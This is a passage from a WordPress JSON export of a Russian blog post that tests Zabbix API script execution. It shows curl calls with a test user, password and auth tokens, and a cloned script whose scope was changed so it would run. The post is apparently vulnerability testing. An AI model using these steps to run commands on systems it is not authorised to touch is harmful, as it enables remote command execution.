    \u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043e\u043f\u0440\u043e\u0431\u0443\u044e \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0438 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e API:<\/p>\n

      \n
    1. \n

      \u041f\u043e\u043b\u0443\u0447\u0438\u043c \u0442\u043e\u043a\u0435\u043d curl -X POST -k http:\/\/ip_address\/api_jsonrpc.php -H 'Content-Type: application\/json' -d '{\"jsonrpc\":\"2.0\",\"method\":\"user.login\",\"params\":{ \"user\":\"test_cve\", \"password\":\"p2ssw0rd123\"},\"id\":1}'<\/code> <\/p>\n

      <\/figure>\n<\/li>\n
    2. \n

      \u041f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e \u0443\u0437\u043b\u0435 \u043f\u043e \u0438\u043c\u0435\u043d\u0438 (\u0432\u044b\u0434\u0435\u043b\u0438\u043c hostid:10516) curl -X POST -k http:\/\/ip_address\/api_jsonrpc.php -H 'Content-Type: application\/json' -d '{\"jsonrpc\":\"2.0\",\"method\":\"host.get\",\"params\":{\"filter\": {\"host\": [\"hostname\"]} },\"auth\":\"fc523f26d819f5cccddcd830675514b5\",\"id\":1}'<\/code> <\/p>\n

      <\/figure>\n<\/li>\n
    3. \n

      \u041f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0441\u043f\u0438\u0441\u043a\u0430 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432: curl -X POST -k http:\/\/ip_address\/api_jsonrpc.php -H 'Content-Type: application\/json' -d '{\"jsonrpc\":\"2.0\",\"method\":\"script.get\",\"params\":{\"output\":\"extend\"},\"auth\":\"588af5565413e089b84a4869c7fa12e4\",\"id\":1}'<\/code> \u0412\u044b\u0434\u0435\u043b\u044f\u0435\u043c \u043d\u0443\u0436\u043d\u044b\u0439 \u043d\u0430\u043c scriptid (scriptid:5) <\/p>\n

      <\/figure>\n<\/li>\n
    4. \n

      \u0418 \u043d\u0430\u043c \u0432\u044b\u0434\u0430\u0441\u0442 \u043e\u0448\u0438\u0431\u043a\u0443 {«jsonrpc»:»2.0″,»error»:{«code»:-32500,»message»:»Application error.»,»data»:»Script is not allowed in manual host action: scope:1″},»id»:1} <\/p>\n

      <\/figure>\n

      \u041f\u043e\u0442\u043e\u043c\u0443 \u043a\u0430\u043a \u043f\u0440\u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0438 \u0441\u043a\u0440\u0438\u043f\u0442\u0430 \u043c\u044b \u043d\u0435 \u0443\u043a\u0430\u0437\u0430\u043b\u0438 \u0440\u0443\u0447\u043d\u043e\u0435 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0432\u043e \u0432\u043a\u043b\u0430\u0434\u043a\u0435 \u0441\u043a\u043e\u0443\u043f \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0434\u043b\u044f \u0442\u0435\u0441\u0442\u0430 \u0441\u043e\u0437\u0434\u0430\u043b \u043a\u043b\u043e\u043d \u043d\u0430\u0448\u0435\u0433\u043e \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0433\u043e \u0441\u043a\u0440\u0438\u043f\u0442\u0430, \u0438\u0437\u043c\u0435\u043d\u0438\u0432 \u0441\u043a\u043e\u0443\u043f.<\/p>\n

      <\/figure>\n

      \u0418\u0437\u043c\u0435\u043d\u0438\u0432 scriptid \u043d\u0430\u0448 \u0437\u0430\u043f\u0440\u043e\u0441 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043b\u0441\u044f curl -X POST -k<\/code><\/p>\n<\/li>\n<\/ol>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-446455","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/446455","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=446455"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/446455\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=446455"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=446455"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=446455"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}